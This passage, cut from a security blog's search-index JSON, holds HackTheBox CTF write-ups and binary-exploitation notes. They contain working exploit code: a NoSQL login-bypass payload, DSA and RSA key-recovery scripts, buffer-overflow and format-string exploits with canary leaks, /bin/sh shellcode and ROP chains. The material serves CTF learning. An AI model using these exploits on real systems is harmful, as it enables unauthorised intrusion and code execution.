flag.\n","date":"2025-02-13T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Supermarket-Challenge/","protected":null,"snippet":"Supermarket: hook the mobile app with Frida, bypass the check, and recover the flag.","tags":["htb","mobile","android","frida"],"title":"HackTheBox Supermarket Challenge"},{"categories":["challenge"],"contents":"","date":"2025-02-04T17:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Maze-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","dotnet","linux"],"title":"HackTheBox Maze Challenge"},{"categories":["challenge"],"contents":"","date":"2025-02-04T17:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Partial-Encryption-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","rev","linux"],"title":"HackTheBox Partial Encryption Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/156\nDescription We want to update our website but we are unable to because the developer who coded this left today. Can you take a look?\nExploitation Deobfuscated JavaScript\nvar res = String[\u0026#39;\\x66\\x72\\x6f\\x6d\\x43\\x68\\x61\\x72\\x43\\x6f\\x64\\x65\u0026#39;](0x48, 0x54, 0x42, 0x7b, 0x57, 0x33, 0x4c, 0x63, 0x30, 0x6d, 0x33, 0x5f, 0x37, 0x30, 0x5f, 0x4a, 0x34, 0x56, 0x34, 0x35, 0x43, 0x52, 0x31, 0x70, 0x37, 0x5f, 0x64, 0x33, 0x30, 0x62, 0x46, 0x75, 0x35, 0x43, 0x34, 0x37, 0x31, 0x30, 0x4e, 0x7d, 0xa); Open the browser console and type res.\nSummary Canvas: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-04T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Canvas-Challenge/","protected":null,"snippet":"Canvas: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Canvas Writeup"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/533\nDescription As a Zenium State hacker, your mission is to breach Arodor\u0026rsquo;s secure election system, subtly manipulating the results to create political chaos and destabilize their government, ultimately giving Zenium State an advantage in the global power struggle.\nExploitation #!/usr/bin/env python3 import requests import sys def get_flag(url): session = requests.Session() payload = { \u0026#34;username\u0026#34;: {\u0026#34;$ne\u0026#34;: \u0026#34;x\u0026#34;}, \u0026#34;password\u0026#34;: {\u0026#34;$ne\u0026#34;: \u0026#34;x\u0026#34;} } r = session.post(f\u0026#34;{url}/api/login\u0026#34;, json=payload) if \u0026#34;authenticated successfully\u0026#34; not in r.text: print(\u0026#34;[-] Auth bypass failed\u0026#34;) return r = session.get(f\u0026#34;{url}/api/votes/list\u0026#34;) for vote in r.json()[\u0026#39;resp\u0026#39;][\u0026#39;votes\u0026#39;]: if \u0026#39;HTB{\u0026#39; in vote[\u0026#39;doc\u0026#39;][\u0026#39;region\u0026#39;]: print(f\u0026#34;[+] Flag: {vote[\u0026#39;doc\u0026#39;][\u0026#39;region\u0026#39;]}\u0026#34;, end=\u0026#39;\u0026#39;) return if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) url = \u0026#34;http://\u0026#34; + sys.argv[1] get_flag(url) Summary Lazy Ballot: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-04T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Lazy-Ballot-Challenge/","protected":null,"snippet":"Lazy Ballot: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Lazy Ballot Writeup"},{"categories":["notes"],"contents":"Assembly Overview Assembly language is a low-level programming language that translates high-level code into machine instructions. Registers temporarily hold data and facilitate operations.\nCore Registers Reg 32b 64b Usage Math EAX RAX Return, Math Base EBX RBX Memory Base Count ECX RCX Loops, 4th Arg Data EDX RDX I/O, 3rd Arg Index ESI/EDI RSI/RDI 1st/2nd Arg Stack ESP/EBP RSP/RBP Stack/Frame Ptr Extra - R8-R15 5th+ Args Register Sizes 64b 32b 16b 8b RAX-RDX EAX-EDX AX-DX AL-DL RSP/RBP ESP/EBP SP/BP SPL/BPL RSI/RDI ESI/EDI SI/DI SIL/DIL R8-R15 R8D-R15D R8W-R15W R8B-R15B Memory \u0026 Types Type 32b 64b Word 2B 2B DWord 4B 4B QWord - 8B Ptr 4B 8B Addr 4GB 16EB Instructions Type Mnemonic Opcode Effect Data mov,lea 0x89,8D Transfer Math add,sub 0x01,29 Arithmetic Flow jmp,call 0xEB,E8 Control Stack push,pop 0x50+r Stack ops Logic and,or,xor 0x21,09,31 Bitwise Test cmp,test 0x39,85 Compare Conditionals Jump Op Flags Test je/jz 74 ZF=1 Equal jne 75 ZF=0 Not Equal jg 7F SF=OF,ZF=0 Greater jl 7C SF≠OF Less jge 7D SF=OF Greater/Equal jle 7E ZF=1∨SF≠OF Less/Equal Status Flags Bit Flag Use 0 CF Carry 6 ZF Zero 7 SF Sign 11 OF Overflow 2 PF Parity 4 AF Adjust 10 DF Direction 9 IF Interrupt Dereferencing Command Explanation Example Use Case mov rbx, [rax] Read memory at address in rax into rbx Reading a variable value mov [rax], 10 Write value 10 to memory at address in rax Storing immediate value lea rbx, [rax] Load effective address of rax into rbx Getting pointer address Properties Feature Value Impact Format ELF Linux executable Architecture 64-bit LSB x86_64 little-endian RELRO Partial Some segments read-only STACK CANARY None No stack overflow detection NX Enabled Memory regions not executable PIE Enabled Random program loading RPATH/RUNPATH None Standard library paths Symbols 67 Debug symbols available FORTIFY No No runtime checks Linking Dynamic Uses shared libraries Interpreter /lib64/ld-linux-x86-64.so.2 Dynamic linker Debug Info Not stripped Has symbol table BuildID Present Debug info identifier Resources Learning\nNightmare Ir0nStone Challenges\nExploitEducation ROPEmporium PwnCollege How2Heap Vulnerable Example vuln.c\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void win() { system(\u0026#34;/bin/sh\u0026#34;); } void vuln() { char buf[32]; printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%s\u0026#34;, buf); printf(buf); printf(\u0026#34;\\n\u0026#34;); return; } int main() { setvbuf(stdout, NULL, _IONBF, 0); while(1) { vuln(); } return 0; } Let\u0026rsquo;s start simple with all protections disabled and 32bit for shorter addresses\ngcc vuln.c -o vuln -m32 -no-pie -fno-stack-protector ❯ gdb vuln pwndbg\u0026gt; cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa pwndbg\u0026gt; r Starting program: /home/e/vuln \u0026gt; aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Program received signal SIGSEGV, Segmentation fault. Invalid address 0x6161616c pwndbg\u0026gt; cyclic -l 0x6161616c Finding cyclic pattern of 4 bytes: b\u0026#39;laaa\u0026#39; (hex: 0x6c616161) Found at offset 44 Note: If we switch to a 64-bit architecture, the offset changes. However if you change with correct addreses it work.\ngcc vuln.c -o vuln -no-pie -fno-stack-protector ❯ gdb vuln pwndbg\u0026gt; cyclic 100 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa pwndbg\u0026gt; r Starting program: /home/e/vuln \u0026gt; aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa Program received signal SIGSEGV, Segmentation fault. ─────────────[ DISASM / x86-64 / set emulate on ]────────────── ► 0x4011ca \u0026lt;vuln+94\u0026gt; ret \u0026lt;0x6161616161616166\u0026gt; ↓ pwndbg\u0026gt; cyclic -l 0x6161616161616166 Finding cyclic pattern of 8 bytes: b\u0026#39;faaaaaaa\u0026#39; (hex: 0x6661616161616161) Found at offset 40 ❯ ropper --file ./vuln --search \u0026#34;ret\u0026#34; 0x000000000040101a: ret; So now instead of 44 is 40 and we have also stack allignment issues so now we use a ret gadget\nThanks to the formatstring vuln we can leak informations this will come handy later with less protections\n#!/usr/bin/env python3 from pwn import * exe = \u0026#39;./vuln\u0026#39; elf = context.binary = ELF(exe, checksec=False) context.log_level = \u0026#39;info\u0026#39; context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] def fsleak(num=40): leaks = {} log.info(\u0026#34;Leaking stack values:\u0026#34;) offsets = list(range(0, num)) for offset in offsets: try: io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) io.sendline(f\u0026#39;%{offset}$p\u0026#39;.encode()) leak = io.recvline().strip() if leak.startswith(b\u0026#39;0x\u0026#39;) and leak != b\u0026#39;(nil)\u0026#39;: addr = int(leak, 16) leaks[offset] = addr log.info(f\u0026#34;Offset {offset}: {leak.decode()}\u0026#34;) except Exception: pass return leaks def ret2win(): if elf.elfclass == 64: payload = b\u0026#39;\\x90\u0026#39;*40 + pack(0x40101a) + pack(elf.symbols[\u0026#39;win\u0026#39;]) else: payload = b\u0026#39;\\x90\u0026#39;*44 + pack(elf.symbols[\u0026#39;win\u0026#39;]) log.info(\u0026#34;Payload (hex): \u0026#34; + payload.hex()) gdb.attach(io, gdbscript=\u0026#34;c\u0026#34;) return payload def main(): global io io = process([exe], env={\u0026#39;LD_PRELOAD\u0026#39;: \u0026#39;\u0026#39;}) fsleak(10) io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, ret2win()) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: main() gcc vuln.c -o vuln -fno-stack-protector Removing nopie or enabling ASLR breaks the position-independent code, causing the base address to become random. As a result, all function offsets change, and the program no longer behaves as expected. You can verify this by running ldd vuln the addresses will change upon rerun. While you can disable ASLR on your local machine, it cannot be disabled for programs hosted on other machines, such as in CTFs.\nNow we play with the format string vulnerability to leak the correct address\nif we leak fsleak() and in the gdb pane do x \u0026lt;address\u0026gt; we start loking at what we are leaking\npwndbg\u0026gt; info address main Symbol \u0026#34;main\u0026#34; is at 0x11e4 in a file compiled without debugging. We look for 0x11e4 since is the Offset 17 0x11e4 leaked from the fstring vuln\npwndbg\u0026gt; x 0x6403f709d1e4 0x6403f709d1e4 \u0026lt;main\u0026gt;: 0xe5894855 pwndbg\u0026gt; info proc mappings Mapped address spaces: Start Addr End Addr Size Offset Perms objfile 0x6403f709c000 0x6403f709d000 0x1000 0x0 r--p /home/e/vuln 0x6403f709d000 0x6403f709e000 0x1000 0x1000 r-xp /home/e/vuln ❯ nm -n vuln | grep \u0026#34; main\u0026#34; 00000000000011e4 T main By leaking and obtaining the 17th element, \u0026lsquo;main\u0026rsquo;, we can subtract 0x11e4 to calculate the base address.\n#!/usr/bin/env python3 from pwn import * exe = \u0026#39;./vuln\u0026#39; elf = context.binary = ELF(exe, checksec=False) context.log_level = \u0026#39;info\u0026#39; def fsleak(num=40): leaks = {} log.info(\u0026#34;Leaking stack values:\u0026#34;) offsets = list(range(0, num)) for offset in offsets: try: io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) io.sendline(f\u0026#39;%{offset}$p\u0026#39;.encode()) leak = io.recvline().strip() if leak.startswith(b\u0026#39;0x\u0026#39;) and leak != b\u0026#39;(nil)\u0026#39;: addr = int(leak, 16) leaks[offset] = addr log.info(f\u0026#34;Offset {offset}: {leak.decode()}\u0026#34;) except Exception: pass return leaks if __name__ == \u0026#39;__main__\u0026#39;: io = process(exe) #fsleak() io.recvuntil(b\u0026#39;\u0026gt; \u0026#39;) if elf.elfclass == 64: io.sendline(b\u0026#39;%17$p\u0026#39;) else: io.sendline(b\u0026#39;%29$p\u0026#39;) main_leak = int(io.recvline().strip(), 16) if elf.elfclass == 64: elf.address = main_leak - 0x11e4 else: elf.address = main_leak - 0x1244 log.info(f\u0026#34;Base address: {hex(elf.address)}\u0026#34;) log.info(f\u0026#34;Win function address: {hex(elf.symbols.win)}\u0026#34;) ret_gadget = elf.address + 0x101a if elf.elfclass == 64: payload = b\u0026#39;\\x90\u0026#39;*40 + p64(ret_gadget) + p64(elf.symbols.win) else: payload = b\u0026#39;\\x90\u0026#39;*44 + p64(elf.symbols.win) gdb.attach(io, gdbscript=\u0026#34;c\u0026#34;) io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, payload) io.interactive() gcc vuln.c -o vuln -no-pie \u0026amp;\u0026amp; python poc Removing -fno-stack-protector add canaries.\nNow buffer overflows cause\n*** stack smashing detected ***: terminated So we need to leak the canaries thanks to formatstring\n#!/usr/bin/env python3 from pwn import * exe = \u0026#39;./vuln\u0026#39; elf = context.binary = ELF(exe, checksec=False) context.log_level = \u0026#39;info\u0026#39; context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] def fsleak(num=40): leaks = {} log.info(\u0026#34;Leaking stack values:\u0026#34;) offsets = list(range(0, num)) for offset in offsets: try: io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) io.sendline(f\u0026#39;%{offset}$p\u0026#39;.encode()) leak = io.recvline().strip() if leak.startswith(b\u0026#39;0x\u0026#39;) and leak != b\u0026#39;(nil)\u0026#39;: addr = int(leak, 16) leaks[offset] = addr log.info(f\u0026#34;Offset {offset}: {leak.decode()}\u0026#34;) except Exception: pass return leaks def find_canaries(io, start=1, end=40): log.info(\u0026#34;Searching for canary pattern on stack...\u0026#34;) found = [] for i in range(start, end): try: io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) io.sendline(f\u0026#39;%{i}$p\u0026#39;.encode()) leak = io.recvline().strip() if leak.startswith(b\u0026#39;0x\u0026#39;): value = int(leak, 16) if value \u0026amp; 0xff == 0: if elf.elfclass == 32 and hex(value).endswith(\u0026#34;00\u0026#34;): log.info(f\u0026#34;Potential canary at offset {i}: {hex(value)}\u0026#34;) found.append((i, value)) except: continue return found def build_payload(canary): win_addr = 0x401176 ret_addr = 0x40101a payload = (b\u0026#39;\\x90\u0026#39; * 40 + pack(canary) + pack(0) + pack(ret_addr) + pack(win_addr)) return payload def main(): global io try: io = process(exe) fsleak() canaries = find_canaries(io) if not canaries: log.failure(\u0026#34;No potential canaries found!\u0026#34;) return io.close() io = process(exe) gdb.attach(io, \u0026#34;\u0026#34;\u0026#34; canary --all c \u0026#34;\u0026#34;\u0026#34;) canary_offset = 11 io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) io.sendline(f\u0026#39;%{canary_offset}$p\u0026#39;.encode()) canary = int(io.recvline().strip(), 16) payload = build_payload(canary) io.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, payload) io.interactive() except Exception as e: log.failure(f\u0026#34;Exploit failed: {str(e)}\u0026#34;) if io: io.close() if __name__ == \u0026#39;__main__\u0026#39;: main() Pwntools Extended Reference These snippets keep the full guide above practical when moving from a local proof of concept to a remote target.\nClean Environment Use a clean shell when a local target is sensitive to environment size:\nexec -c zsh Context And Logging context.clear(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, endian=\u0026#39;little\u0026#39;) context.update(log_level=\u0026#39;debug\u0026#39;) context.sign = \u0026#39;signed\u0026#39; with context.local(log_level=\u0026#39;error\u0026#39;): asm(\u0026#39;nop\u0026#39;) log.info(\u0026#39;leak = %#x\u0026#39;, leak) log.warn(\u0026#39;verify offset before remote\u0026#39;) Tube Variants p = process(\u0026#39;./target\u0026#39;) p = process([\u0026#39;./target\u0026#39;, \u0026#39;--arg\u0026#39;], env={\u0026#39;LC_ALL\u0026#39;: \u0026#39;C\u0026#39;}) p = remote(\u0026#39;127.0.0.1\u0026#39;, 1337) gdb.attach(p) p = gdb.debug(\u0026#39;./target\u0026#39;, aslr=False, gdbscript=\u0026#39;b *main+123\u0026#39;) p.write(b\u0026#39;aaaa\u0026#39;) p.writeline(b\u0026#39;aaaa\u0026#39;) p.read(123) p.readline() p.readuntil(b\u0026#39;\u0026gt; \u0026#39;) p.clean(1) p.writeafter(b\u0026#39;\u0026gt; \u0026#39;, payload) p.writelineafter(b\u0026#39;\u0026gt; \u0026#39;, payload) p.interactive() p.wait() with process(\u0026#39;./target\u0026#39;) as p: p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, payload) p.interactive() Encoding And Packing enhex(b\u0026#39;/flag\u0026#39;) unhex(\u0026#39;2f666c6167\u0026#39;) b64e(b\u0026#39;/flag\u0026#39;) b64d(\u0026#39;L2ZsYWc=\u0026#39;) md5sumhex(b\u0026#39;hello\u0026#39;) md5filehex(\u0026#39;./some-file\u0026#39;) sha1sumhex(b\u0026#39;hello\u0026#39;) sha1filehex(\u0026#39;./some-file\u0026#39;) p8(0x41) p16(0x4142) p32(0x41424344) p64(0x4142434445464748) u8(b\u0026#39;\\x41\u0026#39;) u16(b\u0026#39;\\x42\\x41\u0026#39;) u32(b\u0026#39;\\x44\\x43\\x42\\x41\u0026#39;) u64(b\u0026#39;\\x48\\x47\\x46\\x45\\x44\\x43\\x42\\x41\u0026#39;) p64(0x4142434445464748, endian=\u0026#39;big\u0026#39;) u64(b\u0026#39;\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\u0026#39;, endian=\u0026#39;big\u0026#39;) pack(0x414243, 24) unpack(b\u0026#39;\\x41\\x42\\x43\u0026#39;, 24) unpack(b\u0026#39;0\\xe1u65\\x7f\u0026#39;, \u0026#39;all\u0026#39;) cyclic(16) cyclic(16, n=8) cyclic_find(0x61616164) cyclic_find(0x6161616161616162, n=8) print(hexdump(payload)) Shellcode And Shellcraft context.arch = \u0026#39;amd64\u0026#39; shellcode = asm(\u0026#39;\u0026#39;\u0026#39; mov rax, 0x68732f6e69622f push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, SYS_execve syscall \u0026#39;\u0026#39;\u0026#39;) shellcode = shellcraft.pushstr(\u0026#39;/bin/sh\u0026#39;) shellcode += shellcraft.syscall(\u0026#39;SYS_execve\u0026#39;, \u0026#39;rsp\u0026#39;, 0, 0) payload = bytes(asm(shellcode)) payload = bytes(asm(shellcraft.sh())) elf_shellcode = ELF.from_assembly(shellcraft.sh()) p = gdb.debug(elf_shellcode.path) ELF Symbols And Strings elf = ELF(\u0026#39;./target\u0026#39;) elf.plt elf.got elf.sym elf.sym.puts elf.plt.puts elf.got.puts libc = ELF(\u0026#39;./libc.so.6\u0026#39;) old_puts = libc.sym.puts libc.address = 0xdeadbeef000 new_puts = libc.sym.puts bin_sh = next(libc.search(b\u0026#39;/bin/sh\u0026#39;)) ROP Builder Details elf = ELF(\u0026#39;./target\u0026#39;) rop = ROP(elf) pop_rax = rop.find_gadget([\u0026#39;pop rax\u0026#39;, \u0026#39;ret\u0026#39;]).address syscall = rop.find_gadget([\u0026#39;syscall\u0026#39;, \u0026#39;ret\u0026#39;]).address pop_rdi = rop.rdi.address pop_rsi = rop.rsi.address rop.raw(pop_rax) rop.raw(59) rop.raw(syscall) payload = rop.chain() print(rop.dump()) rop.call(elf.sym.puts, [elf.got.puts]) rop.call(elf.sym.main) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) libc.address = libc_base rop = ROP(libc) rop.setreuid(0, 0) rop.system(next(libc.search(b\u0026#39;/bin/sh\u0026#39;))) payload = rop.chain() Format String Writes offset = 5 writes = { 0x40010: 0xdeadbeef, 0x40018: 0xcafebabe, } payload = fmtstr_payload(offset, writes) p.writeline(payload) payload = fmtstr_payload(offset, writes, numbwritten=8) p.writeline(payload) def send_data(payload): p = process(\u0026#39;./target\u0026#39;) p.sendline(payload) return p.readall() fmt_str = FmtStr(execute_fmt=send_data) offset = fmt_str.offset fmt_str.write(0x40010, 0xdeadbeef) fmt_str.write(0x40018, 0xcafebabe) fmt_str.execute_writes() Patch Binary from pwn import * exe = \u0026#39;challenge\u0026#39; elf = context.binary = ELF(exe, checksec=False) elf.asm(elf.symbols.ptrace, \u0026#39;ret\u0026#39;) elf.save(\u0026#39;patched\u0026#39;) Shell Detection Loop for i in range(0x30, 0x100): print(f\u0026#39;{i} - \u0026#39;, end=\u0026#39;\u0026#39;) time.sleep(0.5) try: io.sendline(b\u0026#39;id\u0026#39;) output = io.recvall(timeout=1) if b\u0026#39;uid\u0026#39; in output: reali = i print(\u0026#39; Shell detected!\u0026#39;) io.close() break except EOFError: print(\u0026#39; Failed!\u0026#39;) finally: io.close() Container File Descriptors find /proc/[0-9]*/fd -type l 2\u0026gt;/dev/null -exec readlink -f {} \\; | sort -u References pwn.tn pwnable.kr pwn.college ROP Emporium How2Heap LunaM00n LOL-Pwn Nightmare Ir0nStone binary exploitation notes Exploit 101 format strings Pwntools documentation Pwntools tubes Pwntools format strings libc.rip libc.blukat.me Linux kernel source browser ","date":"2025-02-04T04:10:00+08:00","permalink":"https://x3ric.com/blog/posts/Binary-Exploitation/","protected":null,"snippet":"Assembly Overview Assembly language is a low-level programming language that translates high-level code into machine instructions. Registers temporarily hold data and facilitate operations.\n","tags":["notes","linux","pwn"],"title":"Binary Exploitation"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/773\nDescription Here at D.S.A we store all your super secret information in a secure vault until you provide us with proof you are who you say you are. We even use SHA256 instead of the weak SHA1! We are so confident, we invite all who wish to show us otherwise!\nExploitation #!/usr/bin/env python3 from multiprocessing import Pool, cpu_count import sys, time, gmpy2 from pwn import * def check_k_range(args): start, end, g, p, q, r = args for k in range(start, end): if k % 2000 == 0: print(f\u0026#34;Trying k = {k}\u0026#34;) if pow(g, k, p) % q == r: return k return None def find_k(g, p, q, r): cores = cpu_count() start = 65500 end = 10**6 chunk_size = (end - start) // cores ranges = [] for i in range(cores): chunk_start = start + (i * chunk_size) chunk_end = chunk_start + chunk_size if i \u0026lt; cores - 1 else end ranges.append((chunk_start, chunk_end, g, p, q, r)) with Pool(cores) as pool: results = pool.map(check_k_range, ranges) for result in results: if result is not None: return result return None def exploit(target): ip, port = target.split(\u0026#39;:\u0026#39;) port = int(port) context.log_level = \u0026#39;debug\u0026#39; io = remote(ip, port) io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) io.sendline(b\u0026#39;4\u0026#39;) buf = io.recvuntil(b\u0026#39;[+] Test user log (y/n) : \u0026#39;) p = int(buf.decode().split(\u0026#39;\\n\u0026#39;)[6].split(\u0026#39; = \u0026#39;)[1]) q = int(buf.decode().split(\u0026#39;\\n\u0026#39;)[7].split(\u0026#39; = \u0026#39;)[1]) g = int(buf.decode().split(\u0026#39;\\n\u0026#39;)[8].split(\u0026#39; = \u0026#39;)[1]) io.sendline(b\u0026#39;y\u0026#39;) io.recvuntil(b\u0026#39;Enter your password : \u0026#39;) io.sendline(b\u0026#39;5up3r_53cur3_P45sw0r6\u0026#39;) buf = io.recvuntil(b\u0026#39;\u0026gt;\u0026#39;) r = int(buf.decode().split(\u0026#39;\\n\u0026#39;)[1].split(\u0026#39;((\u0026#39;)[6].split(\u0026#39;,\u0026#39;)[0]) s = int(buf.decode().split(\u0026#39;\\n\u0026#39;)[1].split(\u0026#39;((\u0026#39;)[6].split(\u0026#39;,\u0026#39;)[1][1:-1]) h = int(buf.decode().split(\u0026#39;\\n\u0026#39;)[1].split(\u0026#39;((\u0026#39;)[6].split(\u0026#39;,\u0026#39;)[2].split(\u0026#39;)]\u0026#39;)[0].split(\u0026#34;\u0026#39;\u0026#34;)[1], 16) print(f\u0026#34;Starting k search using {cpu_count()} cores...\u0026#34;) kx = find_k(g, p, q, r) if not kx: print(\u0026#34;Failed to find k value\u0026#34;) return print(f\u0026#34;Found k = {kx}\u0026#34;) io.sendline(b\u0026#39;3\u0026#39;) io.recvuntil(b\u0026#39;Please enter the username who stored the message : \u0026#39;) io.sendline(b\u0026#39;ElGamalSux\u0026#39;) io.recvuntil(b\u0026#39;Please enter the message\\\u0026#39;s request id: \u0026#39;) io.sendline(b\u0026#39;3\u0026#39;) io.recvuntil(b\u0026#39;Please enter the message\\\u0026#39;s nonce value : \u0026#39;) io.sendline(str(kx).encode()) io.recvuntil(b\u0026#39;[+] Please enter the private key: \u0026#39;) pri = ((kx * s - h) * gmpy2.invert(r, q)) % q io.sendline(str(pri).encode()) response = io.recvall().decode() print(response) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) target = sys.argv[1] exploit(target) Summary Digital-Safety-Annex: use the curve leak or invalid-curve path to recover the secret and decrypt the flag.\n","date":"2025-02-04T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Digital-Safety-Annex-Challenge/","protected":null,"snippet":"Digital-Safety-Annex: use the curve leak or invalid-curve path to recover the secret and decrypt the flag.","tags":["htb","crypto","ecc","hash"],"title":"HackTheBox Digital-Safety-Annex Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/521\nDescription In the midst of escalating conflict between the nations of Luson and Oumara, a recent invasion by Oumara has sparked suspicions about the existence of an internal communication channel. Fearing further strikes, the Luson government takes proactive measures to counter Oumara's attacks. You were assigned the task of investigating their secure channel and determining whether you can obtain any sensitive information. Eventually, you gain access to the channel and even manage to send encrypted messages of your own. Can you reveal Oumara's secret plans to safeguard your nation from potential future invasions?\nExploitation #!/usr/bin/env python3 from hashlib import sha256 from math import gcd from pwn import process, remote, sys, context from sage.all import PolynomialRing, primes, Zmod from Crypto.Util.number import bytes_to_long, long_to_bytes context.log_level = \u0026#39;error\u0026#39; def get_process(): if len(sys.argv) \u0026gt; 1: ip, port = sys.argv[1].split(\u0026#39;:\u0026#39;) remote(ip, int(port)) else: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;.\u0026#34;) sys.exit(1) def exploit_channel(): e = 65537 guessed_greet = bytes_to_long(b\u0026#39;Hey!\u0026#39;) guessed_greet_e = pow(guessed_greet, e) guessed_ans = bytes_to_long(b\u0026#39;Bye!\u0026#39;) guessed_ans_e = pow(guessed_ans, e) n = 0 while True: io = get_process() try: io.recvuntil(b\u0026#39;We say : \u0026#39;) enc_greet = int(io.recvline().decode(), 16) enc_anss = set() while len(enc_anss) \u0026lt; 3: io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;S\u0026#39;) io.sendlineafter(b\u0026#39;You say : \u0026#39;, hex(guessed_greet_e).encode()) io.recvuntil(b\u0026#39;Nice! We say : \u0026#39;) enc_anss.add(int(io.recvline().decode(), 16)) n = max(gcd(guessed_greet_e - enc_greet, guessed_ans_e - enc_ans) for enc_ans in enc_anss) for p in primes(100): if n % p == 0: n //= p if n.bit_length() == 2048 and n \u0026amp; 1: break io.close() except Exception: io.close() continue io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;F\u0026#39;) io.sendlineafter( b\u0026#39;Before giving you the token, you must prove me that you know the public key : \u0026#39;, sha256(str(n).encode()).hexdigest().encode(), ) io.recvuntil(b\u0026#39;Here is your token : \u0026#39;) token = int(io.recvline().decode()) d = 1024 - 643 q_H = (token \u0026gt;\u0026gt; d) \u0026lt;\u0026lt; d x = PolynomialRing(Zmod(n), names=\u0026#39;x\u0026#39;).gens()[0] q_L = int((x + q_H).small_roots(X=2 ** d, beta=0.499)[0]) q = q_H + q_L assert n % q == 0 and 1 \u0026lt; q \u0026lt; n p = n // q phi_n = (p - 1) * (q - 1) exp = pow(0xdeadbeef, n, phi_n) key = long_to_bytes(pow(0x1337, exp, n))[:16] io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;R\u0026#39;) io.sendlineafter(b\u0026#39;Enter decryption key : \u0026#39;, key.hex().encode()) return io.recvall().decode() def main(): try: print(exploit_channel()) except Exception as e: print(f\u0026#34;Exploit failed: {e}\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Interception: model the leak as a small lattice problem, recover the secret, and verify the flag.\n","date":"2025-01-31T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Interception-Challenge/","protected":null,"snippet":"Interception: model the leak as a small lattice problem, recover the secret, and verify the flag.","tags":["htb","crypto","lattice","hash"],"title":"HackTheBox Interception Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/477\nDescription As your investigation progressed, a clue led you to a local bar where you met an undercover agent with valuable information. He spoke of a famous astronomy scientist who lived in the area and extensively studied the relic. The scientist wrote a book containing valuable insights on the relic's location, but encrypted it before he disappeared to keep it safe from malicious intent. The old man disclosed that the book was hidden in the scientist's house and revealed two phrases that the scientist rambled about before vanishing.\nExploitation #!/usr/bin/env python3 from Crypto.Cipher import AES from binascii import unhexlify def blockify(message, size): return [message[i:i + size] for i in range(0, len(message), size)] def xor_bytes(a, b): return bytes([_a ^ _b for _a, _b in zip(a, b)]) def analyze_encryption(): ct = unhexlify(\u0026#39;b25bc89662197c6462188e5960eea4fbef11424b8ebdcd6b45c8f4240d64f5d1981aab0e299ff75ce9fba3d5d78926543e5e8c262b81090aef60518ee241ab131db902d2582a36618f3b9a85a35f52352d5499861b4a878fac1380f520fe13deb1ca50c64f30e98fa6fdc070d02e148f\u0026#39;) r = 3 phrases = [\u0026#39;5fe633e7071e690fbe58a9dace6f3606\u0026#39;, \u0026#39;501ccdc4600bc2dcf350c6b77fcf2681\u0026#39;] leak1 = unhexlify(phrases[0]) leak2 = unhexlify(phrases[1]) blocks = blockify(ct, 16) pt_block1 